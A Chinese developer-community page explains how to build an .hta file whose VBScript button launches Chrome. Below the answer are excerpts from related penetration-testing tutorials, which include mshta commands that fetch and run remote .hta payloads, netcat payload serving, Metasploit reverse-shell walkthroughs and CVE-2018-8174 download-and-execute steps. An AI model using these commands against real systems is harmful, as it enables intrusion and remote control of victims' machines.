开发者社区

文档建议反馈控制台

最新优惠活动

文章/答案/技术大牛

发布

使用本地主机中的chrome单击按钮运行.hta文件

使用本地主机中的Chrome单击按钮运行.hta文件是一种在Windows操作系统中运行HTML应用程序的方法。HTA（HTML Application）是一种特殊的HTML文件，它可以像桌面应用程序一样运行，并且可以访问本地系统资源。

具体步骤如下：

确保本地主机已安装Chrome浏览器。如果没有安装，可以从Chrome官方网站下载并安装。
创建一个新的文本文件，将其命名为.hta，并确保文件扩展名为.hta而不是.txt。
在.hta文件中，使用以下代码创建一个按钮：

<html>
<head>
<script language="VBScript">
Sub RunChrome()
    Set objShell = CreateObject("WScript.Shell")
    objShell.Run "chrome.exe"
End Sub
</script>
</head>
<body>
<input type="button" value="运行Chrome" onclick="RunChrome()">
</body>
</html>

保存并关闭.hta文件。
双击.hta文件，将会打开一个包含一个按钮的窗口。
单击按钮，将会启动本地主机中安装的Chrome浏览器。

这种方法可以方便地在本地主机中运行.hta文件，并通过按钮点击来启动Chrome浏览器。HTA文件可以用于创建各种本地应用程序，例如自定义工具、小型应用程序等。

腾讯云提供了一系列云计算产品，其中与本地主机相关的产品包括云服务器（CVM）和云桌面（VDI）。云服务器提供了可扩展的计算资源，可以在云端创建和管理虚拟机实例，用户可以通过远程桌面连接到云服务器并运行.hta文件。云桌面则提供了虚拟化的桌面环境，用户可以在云桌面中运行应用程序，包括.hta文件。

更多关于腾讯云产品的信息，请访问腾讯云官方网站：https://cloud.tencent.com/

相关搜索:Access DB报告:使用按钮可单击的文件位置 Selenium无法通过moveToElement在IE中单击正确的目标，可在Chrome中运行使用ansible传递远程主机的输入在本地运行python脚本使用chrome cypress中的标志运行测试使用hosts文件中的主机名在本地测试Service Worker 使用R键单击web中的按钮使用VBA单击IE网页中的链接/按钮使用Vue本地化页面上的按钮单击事件在chrome中自动单击网站上的按钮在chrome中获取本地文件的路径

相关搜索:

页面内容是否对你有帮助？

有帮助

没帮助

相关·内容

渗透测试信息收集技巧(10)——Office钓鱼和钓鱼攻击

Cobalt Strike钓鱼word操作点击上方标签视图标签，在该标签中点击宏按钮，弹出的对话框中输入宏名字，然后单击创建按钮。...将下列代码复制到index.html文件中启动EasyCHM软件，点击工具栏新建按钮，弹出的对话框中点击浏览按钮，选择创建的根目录，文件类型保持一致，点击确定，最后点击工具栏编译按钮，弹出的对话框中点击生成...双击运行CHM文件，主机立刻上线，运行执行带有powershel命令的CHM文件，屏幕出现闪现一个黑框。LNK钓鱼Ink文件是用于指向其他文件的一种文件。...powershell，单击launch按钮，复制生成代码将代码替换test.txt中calc.exe，内容重新编译powershell代码。...双击运行hta文件，Cobalt Strike收到主机上线。本文档所提供的信息仅用于教育目的及在获得明确授权的情况下进行渗透测试。

60 0

分析一个用于传播Hancitor恶意软件的Word文档（第一部分）

sdfsdf() sdfsdf()似乎负责提取恶意代码，因为在与文档中的.pif图标交互时，它会在%TEMP%文件夹中创建一个快捷方式文件，即使你没有单击启用宏。在关闭文档时，快捷方式文件会消失。...首先，恶意宏会使用WMI查询来查看当前正在运行的进程列表： SELECT * FROM Win32_Process 然后，一个for 循环被执行，遍历列表中的每个进程，记为x。...因此，恶意软件似乎是在检查这两个防病毒程序，并为每个程序运行不同的执行方法。如果bdagent.exe正在运行，恶意宏则将创建%TEMP%\1.hta并将句柄存储在#1中。...有意思的地方在于，这个恶意软件并非直接通过执行可执行文件来执行最终的payload，而是创建了一个.hta文件，但前提是bdagent.exe正在运行。...bdagent.exe和PSUAMain.exe是否在运行：如果bdagent.exe正在运行，恶意软件将在％TEMP％文件夹中创建1.hta，然后执行该文件夹，从而导致6.exe运行；如果PSUAMain.exe

1.4K2 1

如何使用PHP Malware Finder检测主机中潜在的恶意PHP文件

关于PHP Malware Finder PHP Malware Finder是一款针对主机安全和PHP安全的强大检测工具，在该工具的帮助下，广大研究人员可以轻松检测其主机或服务器中可能存在的潜在恶意...PHP Malware Finder本质上就是一款恶意软件检测工具，它将尽其所能地去检测那些经过代码模糊/混淆处理的恶意代码，以及潜在恶意PHP文件中所使用的各种PHP功能函数。...工具运行机制整个检测过程是通过对目标主机或服务器的文件系统进行数据爬取来实现的，并根据一组YARA规则测试文件来执行恶意文件的检测。没错，就是这么简单！...PHP Malware Finder没有使用基于哈希的方法，但它会尽可能多地使用语义模式，检测诸如“一个$_GET变量被解码两次，解压，然后传递给某个危险的系统函数”这样的场景。...白名单系统具体的白名单信息可以参见whitelist.yar文件，如果你懒得看的话，可以直接使用generate_whitelist.py脚本来为整个目录生成白名单。

1.9K1 0

WindowsLinux文件下载方式汇总

hta文件，之后通过目标主机的mshta来远程下载并执行，例如在本地创建以下hta文件： <meta http-equiv="Content-Type" content="text/html...之后在cmd下通过mshta来下载<em>hta</em><em>文件</em>并<em>运行</em>，使其上线，且无<em>文件</em>落地： mshta http://192.168.174.131:1234/evil.<em>hta</em> ? CS<em>中</em>成功上线： ?...当目标<em>主机</em>上安装了ncat是我们可以<em>使用</em>ncat来实现<em>文件</em>下载，当然这种场景在实战<em>中</em>少之又少~ 首先，我们在<em>本地</em><em>使用</em>nc起一个监听，并传递我们想要传输<em>的</em><em>文件</em>名称： nc -lvp 4444 < evil.exe...之后<em>运行</em>该<em>hta</em><em>文件</em>即可(在实战<em>中</em>可以由CS来生成<em>hta</em>攻击<em>文件</em>，之后进行攻击反弹shell回来进行后渗透测试)~ Linux 编程语言 Perl Perl是目前很受欢迎<em>的</em>主流脚本语言，linux<em>主机</em>一般都自带...当目标<em>主机</em>上安装了ncat是我们可以<em>使用</em>ncat来实现<em>文件</em>下载，当然这种场景在实战<em>中</em>少之又少~ 首先，我们在<em>本地</em><em>使用</em>nc起一个监听，并传递我们想要传输<em>的</em><em>文件</em>名称： nc -lvp 4444 < evil.sh

2K5 0

解决使用Python检查本地网络中运行的Web服务器的问题

如果我们要检查本地网络中运行的 Web 服务器，可以使用 Python 的 socket 模块来进行网络连接测试。...以下是一个简单的示例代码，演示如何检查本地网络中运行的 Web 服务器：1、问题背景在学习如何使用 Python 时，一位用户希望编写一段代码来检查本地网络中是否有人运行着 Web 服务器。...他们使用提供的代码遇到了一些错误，因此寻求社区的帮助来解决这些问题。以下错误代码：#!...= connection.getresponse() print (response.status) last = last + 1通过这些解决方案，用户将能够准确地检查本地网络中是否有运行着的...我们可以将 host 参数设置为你想要检查的主机名或 IP 地址，将 port 参数设置为你所使用的 Web 服务器端口。这样，你就可以在本地网络中轻松地检查 Web 服务器是否运行。是否觉得很方便？

801 0

Kali Linux Web渗透测试手册(第二版) - 5.8 - 使用XSS和Metasploit获取远程shell

5.8、使用XSS和Metasploit获取远程shell 在前几章中，我们知道了攻击者可以使用XSS提取用户信息凭证，然而，它的威力可不止于此，只要稍加一些社会工程学，攻击者就可以使用XSS来欺骗用户下载执行恶意文件...，从而进一步控制主机和内网。...5．现在我们运行exploit等待客户端连接： run ? 注意服务器启动时给出的信息，Local IP给出了访问HTA文件的方式。...9．当提示运行、保存或者取消时，选择运行HTA文件 10．现在切换回Kali，你就可以在控制台中看到Metasploit已经成功收到来自客户端的负载请求并且建立了Shell连接。 ?...我们刚才使用Metasploit生成恶意的HTA文件并开启本地服务来托管它，我们的恶意文件包含一个反向shell，反向shell是一个程序，当受害者执行它时，它将连接到攻击者的服务器，而不是在受害者中打开一个端口来等待连接传入

5232 0

黑客组织KovCoreG正在利用虚假的浏览器和Flash更新来传播恶意软件

比如说，当用户使用Chrome或Firefox访问这个网页时，网站会询问用户是否需要下载浏览器更新补丁，如果用户使用的是IE或Edge浏览器的话，该网站则会询问用户是否需要下载Flash更新。...实际上，用户此时所下载下来的文件将会是一个JavaScript脚本（Chrome，Firefox）或HTA文件（IE，Edge），而这种恶意文件将会在目标用户的计算机中安装Kovter。...但是在此之前，此类活动中的攻击者一般都会直接将目标用户重定向到一个托管了漏洞利用工具的网站上。研究人员表示，KovCoreG使用了ISP以及基于地理位置的过滤器来筛选他们所要攻击的目标用户。...除此之外，该活动还有一个非常奇怪的地方，即他们在目标主机中下载的文件：JavaScript和HTA文件。...奇怪的地方就在于，如果目标用户的IP地址没有顺利通过ISP以及GEO过滤器的检测，那么这两种文件将不会在目标用户的主机中运行。

7525 0

JavaScript 开发者需要了解的15个 DevTools 技巧

在 Chrome DevTools Sources 面板中，打开一个文件，右键单击代码中的某个位置，然后选择添加脚本以忽略列表。...使用条件断点单击 Sources 面板中打开的文件的行号会添加一个断点。它会在执行到这一行的时候暂停脚本，这样你可以单步执行代码来检查变量，调用堆栈等。...这些请求会显示在 DevTools Network 面板中，可以使用 XHR 按钮进行过滤。 DevTools 显示了很多信息，但是有时你需要重新运行一次 Ajax 调用。...启用本地文件替代 Chrome 允许任何 HTTP 请求使用你的设备上的本地文件，而不是通过网络获取它。...可以在 Chrome 中或使用任何代码编辑器来编辑文件，每当重新加载页面时，都将使用更新的版本。 14. 管理客户端存储网页可以使用多种技术将数据存储在客户端上。

4.8K2 0

Duplicator使用教程-备份导入WordPress网站完整数据

Duplicator使用教程-备份导入WordPress网站完整数据　　在本地搭建wordpress测试网站，测试完以后想把网站的数据完整的导入到主机上。...给大家介绍一个更有效的办法，使用Duplicator插件来把WordPress在本地的数据全部导入到主机上。　　这种方法比较简单，建议初学者使用。...现在，Duplicator将运行一些测试以查看是否一切正常。如果所有项目都标记为“良好”，则单击“构建”按钮。　　此过程可能需要几分钟，具体取决于您网站的大小。...安装程序将自动扫描存档文件并运行验证测试。您需要选中条款和条件复选框，然后单击下一步按钮继续。　　在下一个屏幕上，它将要求您输入WordPress数据库信息。　　您的主机可能是本地主机。...之后，您将输入在上一步中创建的数据库的详细信息。　　单击下一步按钮继续。　　现在，Duplicator将把您的WordPress数据库备份从存档导入到新数据库中。

3.2K2 0

公有云-实验一实践腾讯云部署Web应用

2、【子网】列表中，在【Lab1-SBN01】的子网右侧，单击【添加主机图标】按钮，创建一台CVM； C:\Users\V_HAOH~1\AppData\Local\Temp\企业微信截图_1569312581653...单击【确定】按钮在数据库重启后，状态为“运行中”时，初始化完毕； 4、点击实例列表中新建实例Lab1- CDB01的【ID】，查看【内网地址】，记录在实验数据表中。...的安装向导 2、单击协议下方的【我同意】开始安装，系统自动开始检查运行环境，在【设置运行环境】中，选择【全新安装Discuz!.../lab1-cfs01”，【本地附件URL 地址】修改为：“lab1-cfs01”； 7、回到论坛前台，进入【默认版块】，单击【发表帖子】，帖子标题和正文输入“Lab1CFS01 TEST”，单击正文编辑器上方的附件按钮...，上传附件，选择本地【Lab1】目录下的CVM_Introduction.pdf文件，上传后单击【发表帖子】发布；上传成功。

1421 0

Windows文件传输及执行—mshta「建议收藏」

取决于Windows系统的版本，通过HTTP下载的文件缓存位置为IE的本地缓存，在下面的路径之一： C:\Users\\AppData\Local\Microsoft\Windows...执行.hta文件的命令格式如下： mshta http://webserver/payload.hta metasploit的exploit/windows/misc/hta_server支持.hta...文件的执行： use exploit/windows/misc/hta_server 配置对应的参数后，在目标主机cmd下执行： mshta http://192.168.49.160:8080/...c3a4XKrdsu3L.hta 在win7和win10测试，都可成功反弹shell： Empire也支持.hta的payload： usestager windows/hta 然后在目标主机执行...\payload.hta 其中，进行网络调用的进程为svchost.exe，payload位置：WebDav本地缓存。

2.9K2 0

如何设置 SSH 隧道(端口转发)

目标主机与 SSH 服务器相同时，而不是指定可以使用的目标主机 IP 或主机名 localhost 。假设您需要通过在同一服务器上运行的 VNC 连接到远程计算机，并且无法从外部访问它。...我们正在使用， localhost 因为 VNC 和 SSH 服务器在同一主机上运行。...如果设置动态转发，则仅输入 Source Port 字段中的本地 SOCKS 端口。单击 Add 按钮，如下图所示。返回 Session 页面以保存设置，这样您每次都不需要输入它们。...在 Saved Session 字段中输入会话名称，然后单击 Save 按钮。选择已保存的会话，然后单击 Open 按钮登录远程服务器。将显示一个询问您的用户名和密码的新窗口。...为了便于使用，您可以在 SSH 配置文件中定义 SSH 隧道，或创建将设置 SSH 隧道的 Bash 别名。如果您遇到问题或有反馈，请在下面留言。

7.2K2 1

无文件落地攻击

hta文件，之后通过目标主机的mshta来远程下载并执行，从而实现无文件落地攻击，下面是具体的步骤： Step 1：使用msf的exploit/windows/misc/hta_server模块进行测试...在无文件落地攻击中的利用方式进行介绍，具体方法如下(至于进程隐藏有兴趣的可以自我查找一番)： Step 1：运行JSRat监听本地5678端口 ....\system32文件夹下，2000系统的regsvr32.exe在winnt\system32文件夹下，我们可以通过该命令来实现无文件落地攻击，和上面类似这里也借助JSRat来实现，首先我们在本地运行...JSRat监听本地5678端口： Step 1：运行JSRat监听本地5678端口 ....(192.168.174.129，这里省去了内网穿透) 实验目的在Kali主机中通过MSF框架创建后门文件，之后将其传送到我们已经控制的域内主机(windows server 2008 R2)中，之后在另一域内主机

2K4 0

Kali Linux Web渗透测试手册(第二版) - 5.8 - 使用XSS和Metasploit获取远程shell

在前几章中，我们知道了攻击者可以使用XSS提取用户信息凭证，然而，它的威力可不止于此，只要稍加一些社会工程学，攻击者就可以使用XSS来欺骗用户下载执行恶意文件，从而进一步控制主机和内网。...设置本地监听端口为12345： set lport 12345 show options 5．现在我们运行exploit等待客户端连接： run 注意服务器启动时给出的信息，Local IP给出了访问HTA...就可以使得用户接受不安全警告下载执行恶意文件： 9．当提示运行、保存或者取消时，选择运行HTA文件 10．现在切换回Kali，你就可以在控制台中看到Metasploit已经成功收到来自客户端的负载请求并且建立了...我们刚才使用Metasploit生成恶意的HTA文件并开启本地服务来托管它，我们的恶意文件包含一个反向shell，反向shell是一个程序，当受害者执行它时，它将连接到攻击者的服务器，而不是在受害者中打开一个端口来等待连接传入...在上面的例子中，我们使用8888作为服务器的监听端口，12345作为漏洞反向连接的监听端口，然而在实际的应用场景中，我们应该使用较为低的端口，这样可以较为安全，SSH的22端口就是个不错的选择。

8474 0

CVE-2018-8174 “双杀”0day漏洞复现

该漏洞影响最新版本的IE浏览器及使用了IE内核的应用程序。用户在浏览网页或打开Office文档时都可能中招，最终被黑客植入后门木马完全控制电脑。...复制 /root/.msf4/local/目录中的 msf.rtf 文件到目标主机上使用word文档打开或者IE浏览器打开 http://192.168.0.116:8080 即可获得会话自定义下载者...1.构造HTA文件，当访问hta文件就会触发powershell下载文件至临时目录执行准备你的xx.exe文件上传至站点目录，假如得到地址 http://xxx.com/xxx.exe ?...得到目录中的 “exp.rtf ”文件，使用Word文档打开即可下载执行xx.exe文件，或者IE浏览器打开 http://xxx.lr3800.com/8174poc.html 即可下载执行xx.exe...文件样本演示运行效果 https://app.any.run/tasks/3c52b2b2-3fb7-42ff-a3bf-14429b17b112

1.4K0 0

网络安全：小心MSHTA漏洞为黑客开启远程控制之门

原理　　Microsoft HTML Application Host(MSHTA)是Microsoft Windows操作系统的一部分，必须使用它才能执行HTA文件。...这个漏洞就是这样，用户运行恶意文件后，系统会调用MSHTA打开这个文件，如果这个文件中包含有HTA代码，那么系统就会立刻执行这段代码，从而引发各种安全问题。　　...运行流萤木马的客户端程序，在弹出的操作界面中点击工具栏上的“配置服务端”按钮。...在弹出的“配置服务端”窗口中，就可开始配置我们的服务端程序　　由于木马“流萤”采用了流行的反弹连接技术，所以要在“DNS域名”中设置用于服务端程序反弹连接的IP地址，也就是本地计算机当前的IP地址。...这段代码的含义是从网上下载代码中设置的链接文件，下载完成后运行该文件。其实这个文件就是我们配置完成后上传到网络空间的木马服务端程序。代码输入完成后，将该文件命名为mm.hta即可。

1.2K0 0

0896-Cloudera Parcels介绍

Cloudera建议集群中所有主机运行完全相同的操作系统版本，主要为了方便故障排查跟进和提供专业支持。注意Cloudera Manager管理Parcel，无需用户在文件系统中操作Parcel。...2.单击Download按钮，parcel会被下载到你本地的存储库，状态会更改为Downloading(正在下载)。...要删除准备分发的Parcel，单击Distribute按钮右端的三角形并选择Delete，这将从本地Parcel存储库中删除Parcel。...单击顶部导航栏中的Hosts，然后单击Parcel选项卡。 2.单击Parcel Usage按钮。...将光标移动到以下位置可以查看主机分配的机架，不同机架上的主机显示在不同的行中。要查看给主机上运行的Parcel版本，请单击代表主机的方块。

2.2K2 0

红蓝对抗之无文件落地攻击

)，对系统的正常运行非常重要，一般在运行Microsoft Update安装更新或安装部分软件的时候出现，占用内存比较大，我们亦可以使用其作为无文件落地的媒介，下面举例说明： Step 1：使用Msfvenom...python开启一个简易的web服务器用于托管msi载荷 Step 3：在攻击主机上使用nc监听端口 nc -lvp 6666 Step 4：在目标主机中执行以下命令实现无文件落地执行载荷 msiexec...文件，我们可以在本地构建hta文件，之后通过目标主机的mshta来远程下载并执行，从而实现无文件落地攻击，下面是具体的步骤： Step 1：使用msf的exploit/windows/misc/hta_server...Rundll32.exe在无文件落地攻击中的利用方式进行介绍，具体方法如下(至于进程隐藏有兴趣的可以自我查找一番)： Step 1：运行JSRat监听本地5678端口 ....，和上面类似这里也借助JSRat来实现，首先我们在本地运行JSRat监听本地5678端口： Step 1：运行JSRat监听本地5678端口 .

1641 0

你真的知道如何正确清除 DNS 缓存吗？( 附全平台详细教程 )

Windows 7 要在 Windows 7 中清除 DNS 缓存，请执行以下步骤：单击开始按钮。在开始菜单搜索文本框中键入 cmd。右键单击 “命令提示符”，然后单击 “以管理员身份运行”。...restart 在 MacOS 上清除/刷新 DNS 缓存根据你所运行的版本，在 MacOS 中刷新缓存的命令略有不同。...点击 “清除主机缓存” 按钮。如果那对你不起作用，请尝试清除缓存和 Cookie。按下 CTRL+Shift+Del 以打开 “清除浏览数据” 对话框窗口。选择一个时间范围。...选中 “Cookie 和其他站点数据” 和 “缓存的图像和文件” 框。点击 “清除数据” 按钮。...单击左侧的 “隐私和安全性” 或 “隐私” 选项卡。向下滚动到该 History 部分，然后单击 Clear History... 按钮。选择要清除的时间范围。

44K2 0

在浏览器中本地运行Node.js

浏览器中的Node.js调试。与Chrome DevTools的无缝集成可实现本机后端调试，无需安装或扩展。默认为安全。所有代码执行都发生在浏览器的安全沙箱中，而不是在远程VM或本地二进制文件上。...释放浏览器的功能使用Chrome DevTools无缝进行Node.js调试事实证明，浏览器确实非常擅长调试Javascript。...我知道，这令人震惊；）通过在浏览器中执行Node.js，与Chrome DevTools的集成即开即用。无需安装，无需扩展，仅在浏览器中进行本机后端调试即可运行服务器,在你的浏览器中实际上。...因为它完全在浏览器安全沙箱中运行，所以服务器响应的延迟比本地主机（！）...如果您的环境确实出现问题，则可以像处理其他任何Web应用程序一样恢复到干净的状态：单击“刷新”按钮借助StackBlitz，无论您是在火车上，在飞机上还是在雨中后座时，都可以在没有互联网连接的情况下继续工作

3.6K1 0

点击加载更多

扫码

添加站长进交流群

领取专属 10元无门槛券

手把手带您无忧上云

扫码加入开发者社群

相关资讯

热门标签

活动推荐

运营活动

活动名称

广告关闭